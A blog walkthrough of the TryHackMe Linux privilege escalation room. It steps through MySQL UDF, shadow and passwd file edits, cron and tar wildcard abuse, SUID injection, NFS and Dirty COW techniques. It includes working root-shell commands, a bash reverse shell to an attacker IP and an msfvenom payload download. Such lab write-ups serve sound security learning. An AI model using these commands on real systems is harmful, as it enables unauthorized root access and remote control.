Linux Privilege Escalation from tryhackme

Sheetal Patil
14 min readSep 16, 2021

There are various ways in which privilege escalation can be achieved in linux, I am solving the challenges from tryhackme room and will write about each one from the below list.

1. Service Exploits

2. Weak File Permissions

3. Sudo — shell escape sequences

4. Cron jobs

5. suid / sgid

6. Password and Keys

7. NFS

8. Kernel Exploits

9. Privilage Escalation Scripts

1.Service Exploits

For this scenario we are assuming that server is running MySQL service with root privileges.

What is a service ?

A software functionality offered by a server.

- ex. Service like mysql that offers retrieval and processing of information.

- or Service offering execution of operations like send email or rpc service .

Different clients can use these services for different purposes.

When any service is running with a vulnerability, then hackers try to exploit it and since the exploitation is done by taking advantage of a vulerability associated with a service, we call these service exploits.

Examples of services and their vulnerabilities:

mysql Service running with root privileges without password.

Reference : https://www.exploit-db.com/exploits/1518

RPC Services vulnerable to buffer overflow attacks

Reference : https://www.rapid7.com/db/vulnerabilities/dcerpc-ms-emapper-bof/

There could be other services like Apache Service (Running as root or has scripting enabled) , Sendmail Service, SNMP service, Cleartext Services etc. which we can check for vulnerabilities.

For this article, I have taken example from the tryhackme room for linux priv escalation. The exploit used is, https://0xdeadbeef.info/exploits/raptor_udf.c

Exploit Details: (Reference taken from the above article)

1.Mysql service is running as root. Since no password is defined we can connect, just without it.

2. Mysql has a functionality where you can write custom libraries containing user defined functions.

3. The exploit uses these functions to run the system commands. As mysql is running as root, the commands too will run with the root privileges.

Connect to the tryhackme machine.

Compile the exploit.

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Once the exploit is compiled, two files are created,

raptor_udf2.o — Compiled machine code (object file)

raptor_udf2.so — shared library file

Connect to the mysql database

mysql -u root

Create a User Defined Function (UDF) “do_system” using our compiled exploit:

Since we have root privilege as a mysql user, run the below given commands from do_system function.

cp — Copying /bin/bash to /tmp/rootbash and

chmod — Make the /tmp/rootbash executable

Now exit from the mysql shell and execute the below command. This will give us a shell with root privilages which we copied in the last step.

2. Weak File Permissions (Readable /etc/shadow file)

Here, we are assuming a scenario that the /etc/shadow file is readable by the user.

As root user’s password hash is present in the file, we will save the hash in hash.txt file and use john to crack it.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Login with the cracked password

3. Weak File Permissions (Writable /etc/shadow file)

In this scenario, we are assuming that the user has write access to the /etc/shadow file.

From your kali machine, generate a hash using mkpasswd utility. It Crypts the PASSWORD using crypt(3)

sudo mkpasswd -m sha-512 newpass123

-m method type

Edit the /etc/shadow file and replace the root user’s hash with the new one and login with the new password.

4. Weak File Permissions (Writable /etc/passwd file)

In this scenario, we are assuming that the /etc/passwd file is writable, By default it is only writable by the root user.

Check the permissions on the /etc/passwd file

So, we have read write access to the file.

Generate a new password hash with openssl.

The openssl program is a command line tool for using the various cryptography functions of OpenSSL’s crypto library.

passwd — Generation of hashed passwords.

Edit the /etc/passwd file and place the generated password hash between the first and second colon (:) of the root user’s row (replacing the “x”). A quick read on /etc/passwd file here.

File before editing

Modified File

Now su to root and enter the new password

5. Sudo shell escape sequences

In this scenario, we are assuming that the user has sudo access to certain unix binaries. Lets find out what are those

sudo -l

Many unix programs have shell escape sequence on the gtfobins page. We will try to get access for each of the above programs.I have written a seperate article, for sudo. Will add solutions seperately on that page.

6. cron jobs — File Permissions

In this scenario, we assume that the file permissions on cron jobs are weakly configured.

What is a cronjob ?

A program or a script which user can schedule to run at specific times or intervals.

The configuration for cronjobs is stored at /etc/crontab location.

View the contents of /etc/crontab file

cat /etc/crontab

The crontab file contains two files overwrite.sh and compress.sh scheduled to run every minute.

Locate the file

locate overwrite.sh

Check Permissions

ls -l /usr/local/bin/overwrite.sh

Modify contents of the file with below command, start a netcat listener on your kali machine and grab the reverse shell.

bash -i >& /dev/tcp/10.9.0.56/5566 0>&1

7. cron jobs — PATH Environment Variables

In this scenario, we are assuming that the path environment variable is set to /home/user

The below file shows /etc/crontab file from my machine, this is the default setting. The path is set to system wide binary files.

But here, the below file shows path from the tryhackme lab, where path is set to /home/user.

What this means ?

PATH is an environment variable that contains an ordered list of paths that Linux will search for executables when running a command.

So, since the overwrite.sh file runs every minute, the system first gets an address using the path variable which defines the path from where command will run. Since /home/user is the first path, if it finds the overwrite.sh file there, then the file at that location will run.

cd /home/user

Create a file overwrite.sh and write below given code in the user’s home directory.

#!/bin/bash

cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash

Make this file executable

chmod +x /home/user/overwrite.sh

Wait for the cronjob to run and then switch to the /tmp/rootbash shell

/tmp/rootbash -p

Alternatively, you can create the overwrite.sh file with code for reverse shell and grab root shell on your machine.

On tryhackme machine,

On the attacker machine

8. cron jobs — Wildcards

In this scenario we will abuse the wildcards functionality in linux, there is a cron job compress.sh that is running the below command

tar czf /tmp/backup.tar.gz *

This command is creating a backup archive file of everything (*) in the user’s home directory.

tar has command line options that let you run other commands as part of a checkpoint feature, so From the gtfobins page,

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Understanding the command

Checkpoint : Saves the state of application which can be later resumed.

So with --checkpoint=1 command we create a checkpoint

and with --checkpoint-action=exec=/bin/sh we define the action to run at every checkpoint.

So in place of exec=bin/sh, we will put a reverse shell payload and execute it to get a reverse shell.

To list the available payloads,

msfvenom -l payloads | grep linux

To view the machine architecture

user@debian:~$ uname -a
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 GNU/Linux

so its x64 architecture, and since we want to grab a reverse shell we’ll chose linux/x64/shell_reverse_tcp

Next chose format

msfvenom --list formats

Since, its a linux machine we’ll chose elf which is executable and linkable format.

sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.9.0.56 LPORT=5555 -f elf -o shell.elf

Change permissions of the file and start a webserver on attacker machine

sudo python3 -m http.server 9999

Download the file on the victim machine

wget http://10.9.0.56:9999/shell.elf

On the attacker machine, start a netcat listener on port 5555

nc -nlvp 5555

Create the below given files in /home/user directory

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf

Wait for the program to execute and get the shell.

9. SUID /SGID Executables Known Exploits

In this scenario, we assume that the suid executable is running at version that is affected with a known exploit.

SUID (Set user ID) special file permission that enables users to run file with its owners privilages.

x represents executable file

s represents special suid permission for the user

Find all the SUID/SGID executables on the Debian VM:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Check, if the exim program is affected with any vulnerability.

Download the script and run to get the root

10. SUID /SGID Shared Objects Injection

In this scenario, we assume that the suid executable is vulnerable to “shared object injection”.

What is a shared object ?

During execution, a program needs to load some shared objects. In this process some system calls are made. We can view the list of these system calls using a program called strace.

Once we know of few such programs which were necessary but could not be found, we create a shared object by that program’s name. And we’ll write reverse shell code and save at the location tracked using strace and when program loads the object, it will run with root privilages and will spawn a reverse shell.

strace —Traces system calls and signals

Run the linux smart enumeration script with level set to 1

lse.sh -l 1 -i | more

Find the files with suid bit set

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Lets try to execute the so program, its doing some calculations

With strace, we can find out what system calls are being made while executing the program

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

2>&1 — send error messages to null

grep -iE — show lines with keywords “open | access | no such file “

The libcalc.so file is executing from user’s home directory, so if we create this file with reverse shell payload, it will spawn a reverse shell on execution.

so create a .config directory

mkdir .config
cd .config

And create a file libcalc.c from that directory with below contents

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));void inject() {
system("/bin/bash -p");
}Compile the .c file to create .so file
gcc -shared -fPIC -o libcalc.so libcalc.c

Compile the file

gcc -shared -fPIC -o libcalc.so libcalc.c

Now run the suid-so file from the same .config directory

/usr/local/bin/suid-so

SUID /SGID Environment Variables

Lets find out the files running with suid bit set

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Run the /usr/local/bin/suid-env file

Strings command will show the system calls / functions executed

strings /usr/local/bin/suid-env

It shows that the file is executing service apache2 start command. To know more about the internal details of the executable, lets use strace.

strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service

From the strace output, note that the service is NOT running with an absolute path. Its running as service apache2 start

Three things are important here

Strings : Utility that is used to extract texts from the binary / executable files.

Strace — Traces system calls and signals that are used during program execution.

ltrace- ltrace intercepts and records the dynamic library calls
which are called by the executed process and the signals which
are received by that process.

In the user’s home directory, create a file called service.c

service.cint main() {setuid(0);system(“/bin/bash -p”);}

Compile the file to create a service executable

gcc -o service service.c

Set the path variable to current directory and run the suid_env file

PATH=.:$PATH /usr/local/bin/suid-env

Abusing Shell Features (Vulnerable shell that allows forward slashes in function name)

In this scenario, we assume that the server is running a shell of older version (4.1) which has vulnerabilities associated with it.

Find out files with SUID bit set

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Run the executable

/usr/local/bin/suid-env2

Run the strace utlitiy

strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service

The difference between previous and this executable is that, here the service is running with an absolute path.

Bash shells running at older versions allow users to create functions with forward slashes. So we will create a function containing an absolute path name. Check shell version

/bin/sh --version

And create a function

function /usr/sbin/service { "/bin/sh" -p; }
export -f /usr/sbin/service

Little bit about the export command

In simple terms, environment variables are set when you open a new shell session. at any time if you change any of the variable values, the shell has no way of picking that change. The export command, on the other hand, provides the ability to update the current shell session about the change you made to the exported variable

Now run the executable and get root shell

/usr/local/bin/suid-env2

Abusing Shell Features (Vulnerable shell that displays prompt through a variable in debug mode)

Find the files running with suid bit,

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Run the file /usr/local/bin/suid-env2, its running apache service

Run strace

strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service

It is running the service command and inherits user’s environment variables.

Check bash version

/bin/bash --version

The bin bash version is 4.1 which is runing a vulnerable shell.

env -i SHELLOPTS=xtrace PS4=test /usr/local/bin/suid-env2

env — command that is primarily used to display environment variables.

The above command will append test to the debug output of env2 file.

Since its a bash shell, we will replace the keyword test with a command to be executed.

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

Grab the root shell

/tmp/rootbash -p

In this scenario we assume that a user accidently types password on the command prompt instead of the password prompt so its stored in the history file.

Password and keys History Files

cat ~/.*history | less
su root 

Password stored in Config Files

In this scenario, we assume that the passwords and keys are stored in the configuration files.

SSH Keys stored insecurely

In this scenario, we assume that the user has stored his / her ssh private key insecurely.

Do search on root directory

ls -al /
ls -l /.ssh
cat /.ssh/root_key

Check the ssh config file if root login is allowed without password

cat /.ssh/root_key

Save(Open vi and paste) this file in your local machine and change permissions.

vi root_key
chmod 600

Then ssh to the victim machine with the keyfile

ssh -i root_key root@10.10.121.113

And get the shell

Abusing NFS Vulnerability

NFS — Network File Sharing (NFS) is a protocol that allows you to share directories and files with other Linux clients over a network. Shared directories are typically created on a file server, running the NFS server component. Users add files to them, which are then shared with other users who have access to the folder

Files created via NFS inherit the remote user’s ID. If the user is root and squashing is disabled then we can inherit root’s id.

./lse.sh -l 1 

Do a search for nfs in the output

no_root_squash is enabled on tmp share, means we can write files to this share via nfs as a root user.

From the local machine, confirm that the tmp share is available to mount

showmount -e <victim ip>

Create a tmp share, and create a mount point on this share.

mkdir /tmp/nfs
mount -o rw,vers=2 10.10.41.239:/tmp /tmp/nfs

Generate a payload using msfvenom

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

Change file permissions

chmod +xs /tmp/nfs/shell.elf

On the victim machine, run the executable

/tmp/shell.elf

Kernel Exploits

In this scenario, we try to exploit the application with kernel exploit.

First, run the linux exploit suggester

perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl

The popular dirty cow exploit is listed

It replaces the SUID file /usr/bin/passwd with one that spawns a shell (a backup of /usr/bin/passwd is made at /tmp/bak).

Compile the code and run it (note that it may take several minutes to complete):

gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w

This command will create a file called c0w, just run this file

./c0w

To get a root shell, run

/usr/bin/passwd

Restore the original file back from /tmp/bak

mv /tmp/bak /usr/bin/passwd
exit

--

--